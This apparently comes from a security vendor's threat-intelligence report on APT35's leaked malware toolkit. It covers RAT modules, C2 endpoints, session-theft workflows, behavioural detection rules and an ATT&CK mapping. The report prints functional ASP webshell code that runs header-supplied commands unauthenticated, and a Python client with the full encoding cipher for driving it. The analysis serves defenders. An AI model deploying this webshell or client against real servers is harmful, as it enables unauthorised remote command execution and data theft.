🚀 CloudSEK has raised $19M Series B1 Round – Powering the Future of Predictive Cybersecurity
Read more
APT35 (Charming Kitten) operates a professional malware ecosystem featuring Saqeb System and RAT-2AC2 RATs, custom webshells, and FUD-tested modules. The group’s C2 uses TOR, multi-hop relays, and encrypted traffic for persistence and stealth. Targeting airlines, law enforcement, and regional infrastructure (2022-2025), it links cyber operations to IRGC geopolitical objectives
Episode 3 documents reveal APT35/Charming Kitten's complete malware development pipeline, including two distinct RAT families (Saqeb System and RAT-2AC2), custom webshells, training materials, and operational testing procedures. This collection represents a professional malware development operation with dedicated quality assurance, anti-detection research, and modular architecture designed for long-term persistence in Windows environments.
These documents expose the entire malware development lifecycle, from reverse engineering training materials to production deployment, including FUD testing procedures, module specifications, and operational webshell infrastructure.
1. Malware Arsenal:
2. Operational Scale:
3. Sophistication Level:
4. Strategic Objectives:
Agent Specifications:
Modular Structure (5 Components):
Module Filename | Functionality | Technical Details |
---|---|---|
central.dat |
Main program updater | Latest version of main.exe for remote updates |
creds.dat |
Firefox credential stealer | Targets Firefox 64-bit, uses nss3.dll functions |
lock.dat |
File encryption/destruction | Random byte overwriting, irreversible |
logging.dat |
Keylogger | Supports Hebrew/English, hooks keyboard events |
msg.dat |
Telegram session stealer | Extracts D877F783D5D3EF8C s, key_datas files |
Panel Technology Stack:
Panel Capabilities:
Feature | Description | Technical Implementation |
---|---|---|
Client Management | View online/offline clients | Real-time status polling |
File Explorer | Browse/download/upload files | Access-level dependent |
Command Execution | Windows CMD commands | Real-time result return |
Screenshot Capture | Desktop image retrieval | GDI-based capture |
Keylogger Control | Start/stop key logging | Disk-based encrypted storage |
Stealer Modules | Firefox/Telegram extraction | On-demand module delivery |
Auto-Run Scheduling | Daily/weekly persistence | Configurable execution times |
Remote Update | Agent version updates | central.dat replacement |
Self-Destruct | Complete removal | "Kill RAT" function |
Panel UI Features (from manual):
- Add New Client: Creates unique password-protected ZIP agent
- Serial Number: Unique identifier per agent (e.g., 337E81E3BA4B)
- Status: Online/Offline/STOP states
- Interval Slider: Adjust callback frequency (seconds)
- History Logs: Command execution tracking with timestamps
- User Management: Multi-user access control
- Lock Screen: Panel security feature
- CSV Export: Command results extraction
Execution Flow:
1. Download lock.dat from server (hex-encoded)
2. Decode to rns.dll
3. Create BAT file with rundll32 command
4. Execute BAT → rundll32 loads rns.dll
5. Call snrProc() function
6. Random byte destruction on accessible files
Session Hijacking Workflow:
1. Search disk for Telegram folder
2. Locate session files
3. Base64 encode all files
4. Transmit to C2
5. Attacker replaces files on new system
6. Gain Telegram access (if no Cloud Password)
Client (Agent):
Server (Panel):
Endpoint | Method | Function | Parameters |
---|---|---|---|
/api | POST | Initial client registration | IP, OS, CPU, RAM, AV, .NET, DOMAIN, POWERSHELL, USERNAME, PYTHON_VERSION, COUNTRY |
/cmd/<id> | GET | Retrieve commands for client | Client ID |
/panel | GET | Web panel access | Requires header token + login |
/login | POST | Authentication | Username, Password |
/keylogger | POST | Keylogger results | Client ID, logged data |
/vncLauncher | POST | Initialize VNC | Triggers bore/noVNC setup |
/vncConnect | GET | Connect to VNC | Opens browser connection |
/vncTerminate | POST | Stop VNC | Kills novncproxy/bore |
/file | POST | File upload to server | File data |
/command | POST | Register command | Client ID, command string |
/result | POST | Command result | Client ID, result data |
/log | GET | Command history | All logged commands |
/download | GET | Download file from client | Path parameter |
/delete | POST | Delete client | Client ID |
/SysInfo | POST | System information | Full systeminfo output |
/uploadInDatabase | POST | Upload file to client | File + path |
Authentication Flow:
1. Client sends API request with header token
2. Server validates token
3. If valid, assigns unique ID
4. Client uses ID for all subsequent requests
5. Commands retrieved via /cmd/<id>
Remote Access:
VNC Architecture:
1. Client downloads bore software
2. Sets up noVNC server
3. Executes port forward via bore
4. Sends bore.pub address + port to server
5. Operator connects via browser
6. Terminate via vncTerminate (kills all services)
File Operations:
Download from Client:
1. Command: DOWNLOAD=/path/to/file
2. Client reads file → Base64 encode → Send to server
3. Server stores file → Displays in panel
4. Access level dependent on client privileges
Upload to Client:
1. Upload file to server via /file
2. Register command: UPLOAD=/path/to/file/filename.ext
3. Client downloads from server
4. Client writes file to specified path
Keylogger Workflow:
1. Server sends "keylogger" command
2. Panel button turns red (waiting)
3. Client starts logging to disk file
4. Results sent periodically to server
5. Panel button turns blue (data received)
6. Click button to view results
Command Channel:
asp
' Read Accept-Language header
cmdEncoded = Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")
' Decode via custom cipher
cmdDecoded = DecodeFunction(cmdEncoded)
' Execute command
Set objShell = Server.CreateObject("WScript.Shell")
Set objExec = objShell.Exec("cmd /c " & cmdDecoded)
' Return STDOUT
Response.Write objExec.StdOut.ReadAll()
Substitution Cipher:
Encoding Table (EN):
AB_CDEFG.HIJKLM!$%&*()?NOPQR-STUVWXYZabcdefghijklmnopqrstu=vwxyz0123456789/
Decoding Table (DE):
Qk3\afcPbYJTGywSv=0Egdx62X-NRVz!~$%_*()?Uq7os1ijFMuLOetCl98K5nBrn4.prWAHmIZ
Decode Function Logic:
Client Scripts (Python):
python
# connect.py, RCE4.py, rce5.py pattern
import requests
# Hardcoded target URLs (examples from artifacts)
targets = [
"https://<domain>/images/flash/test9/m0s.phto",
"http://<IP>/images/m0s.php",
"http://<domain>/CMS/Uploads/m0s.aspx"
]
# Encoding function (mirrors ASP decoder)
def encode_command(cmd):
en = "AB_CDEFG.HIJKLM!$%&*()?NOPQR-STUVWXYZabcdefghijklmnopqrstu=vwxyz0123456789/"
de = "Qk3\\afcPbYJTGywSv=0Egdx62X-NRVz!~$%_*()?Uq7os1ijFMuLOetCl98K5nBrn4.prWAHmIZ"
trans = str.maketrans(en, de)
return cmd.translate(trans)
# Interactive loop
while True:
cmd = input("CMD> ")
encoded = encode_command(cmd)
headers = {
"Accept-Language": encoded,
"Accept-Captcha": "[predefined value]",
"User-Agent": "Mozilla/5.0..."
}
response = requests.get(target_url, headers=headers)
print(response.text)
asp
<%
' Direct command execution (no encoding)
cmd = Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")
Set objShell = Server.CreateObject("WScript.Shell")
Set objExec = objShell.Exec("cmd /c " & cmd)
Response.Write objExec.StdOut.ReadAll()
%>
Aim: Full RCE with IIS worker process privileges, no authentication, direct header-to-shell execution.
Geographic Focus:
Active: Egypt (folder structure confirms)
Sector Targeting:
Strategic Pattern:
Stated Capabilities:
Implications:
Potential Targets (based on regional focus):
Stated Achievement:
ransomware attacks in line with media exploitation"
Analysis:
Moses' Staff Operations:
Saqeb Behavioral Pattern:
Triggers:
1. Process creates mutex via CreateEventA()
2. AND loads library from .dat file (LoadLibrary on non-PE extension)
3. AND makes HTTPS connections with XOR-encrypted payloads
4. AND exhibits one of:
- Keyboard hooking (SetWindowsHookEx WH_KEYBOARD_LL)
- File enumeration at disk root level
- Multiple small network transmissions with delays
- Firefox profile directory access (logins.json)
- Telegram folder access (D877F783D5D3EF8Cs)
Severity: CRITICAL
Response: Isolate, collect memory dump, alert SOC
RAT-2AC2 Behavioral Pattern:
Rule: APT35_RAT2AC2_Behavior
Triggers:
1. .NET executable with service-like name runs from non-standard location
2. AND makes HTTP POST to /api endpoint with system enumeration data
3. AND polls /cmd/<id> endpoint every 5-10 seconds
4. AND exhibits one of:
- Downloads bore.pub software
- Starts noVNC service
- Executes systeminfo command
- Creates files in Base64 format
- Port forwarding activity
Severity: CRITICAL
Response: Kill process, block C2 IPs, forensic investigation
Webshell Behavioral Pattern:
Rule: APT35_Webshell_Behavior
Triggers:
1. IIS worker process (w3wp.exe)
2. AND spawns cmd.exe or powershell.exe
3. AND command includes suspicious keywords:
- whoami, net user, net localgroup
- ipconfig, netstat, tasklist
- dir C:\, type [file]
- WMIC, NET USE (lateral movement)
4. AND HTTP request contained unusual Accept-Language header
Severity: HIGH
Response: Block source IP, kill web process, check for persistent webshells
Tactic | Technique | Sub-Technique | Evidence | Malware | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Initial Access | T1566 - Phishing | T1566.001 - Spearphishing Attachment | Google Drive phishing kit with .rar files | All campaigns | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Initial Access | T1190 - Exploit Public-Facing Application | Webshell deployment on web servers | m0s.asp variants | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Execution | T1059 - Command and Scripting Interpreter | T1059.001 - PowerShell | Webshell cmd execution | m0s.asp, RAT-2AC2 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Execution | T1059.003 - Windows Command Shell | cmd /c execution via WScript.Shell | m0s.asp, file.asp | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Execution | T1204 - User Execution | T1204.002 - Malicious File | Phishing attachments, malware executables | Saqeb, RAT-2AC2 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Execution | T1106 - Native API | CreateEventA, LoadLibrary, GetProcAddress | Saqeb main | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Persistence | T1543 - Create or Modify System Process | T1543.003 - Windows Service | Service masquerading (WinUpdateService.exe, etc.) | RAT-2AC2 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Persistence | T1547 - Boot or Logon Autostart Execution | T1547.001 - Registry Run Keys | Auto-run scheduling (daily/weekly) | Saqeb | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Persistence | T1505 - Server Software Component | T1505.003 - Web Shell | m0s.asp, file.asp, webshell.asp deployed | Webshells | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Privilege Escalation | T1543 - Create or Modify System Process | T1543.003 - Windows Service | Elevated service creation | RAT-2AC2 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Defense Evasion | T1027 - Obfuscated Files or Information | T1027.002 - Software Packing | Hex encoding of modules (bin2hex.py) | Saqeb modules | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Defense Evasion | T1027.007 - Dynamic API Resolution | LoadLibrary + GetProcAddress at runtime | Saqeb main | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Defense Evasion | T1140 - Deobfuscate/Decode Files or Information | Runtime hex decoding, XOR decryption, string deobfuscation | Saqeb, webshells | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Defense Evasion | T1036 - Masquerading | T1036.004 - Masquerade Task or Service | Legitimate service names (Microsoft, Exchange, Windows) | RAT-2AC2 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Defense Evasion | T1036.008 - Masquerade File Type | .dat extensions for DLLs | Saqeb modules | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Defense Evasion | T1070 - Indicator Removal | T1070.004 - File Deletion | Self-destruct capability ("Kill RAT") | Saqeb | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Defense Evasion | T1112 - Modify Registry | Registry manipulation for persistence (minimal to avoid detection) | Saqeb | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Defense Evasion | T1497 - Virtualization/Sandbox Evasion | Anti-VM techniques (training curriculum Section 8) | All malware | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Defense Evasion | T1622 - Debugger Evasion | Anti-debug mechanisms | Saqeb (documented in manual) | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Defense Evasion | T1562 - Impair Defenses | T1562.001 - Disable or Modify Tools | AV exclusion paths in file destruction module | rns.dll | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Credential Access | T1555 - Credentials from Password Stores | T1555.003 - Credentials from Web Browsers | Firefox password extraction (nss3.dll abuse) | stler.dll (creds.dat) | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Credential Access | T1552 - Unsecured Credentials | T1552.001 - Credentials In Files | Telegram session file theft | telg.dll (msg.dat) | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Credential Access | T1056 - Input Capture | T1056.001 - Keylogging | SetWindowsHookEx keyboard hooking | klg.dll (logging.dat) | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Discovery | T1082 - System Information Discovery | systeminfo command execution | RAT-2AC2, webshells | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Discovery | T1083 - File and Directory Discovery | Disk-level file enumeration (Fexp function) | Saqeb main | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Discovery | T1057 - Process Discovery | Process enumeration capabilities | All RATs | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Discovery | T1033 - System Owner/User Discovery | whoami, username collection | All malware | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Discovery | T1016 - System Network Configuration Discovery | ipconfig, network enumeration | Webshells, RATs | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Discovery | T1049 - System Network Connections Discovery | netstat commands | Webshells | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Discovery | T1518 - Software Discovery | T1518.001 - Security Software Discovery | AV detection (Kaspersky, BitDefender exclusions) | Saqeb, RAT-2AC2 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Lateral Movement | T1021 - Remote Services | T1021.006 - Windows Remote Management | WMIC commands in webshell scripts | RCE4.py comments | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Lateral Movement | T1080 - Taint Shared Content | File upload to UNC shares | Webshell comments (vmware-tools.exe example), connect.py | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Collection | T1005 - Data from Local System | File download capabilities, Firefox/Telegram data extraction | Saqeb, RAT-2AC2 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Collection | T1113 - Screen Capture | Screenshot functionality (capHandler) | Saqeb, RAT-2AC2 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Collection | T1119 - Automated Collection | Automated file enumeration and exfiltration | Saqeb | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Collection | T1056 - Input Capture | T1056.001 - Keylogging | Keyboard hook with window title logging | klg.dll | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Command & Control | T1071 - Application Layer Protocol | T1071.001 - Web Protocols | HTTP/HTTPS C2 communication | All malware | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Command & Control | T1132 - Data Encoding | T1132.001 - Standard Encoding | XOR encryption, Base64, hex encoding, substitution cipher | All malware | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
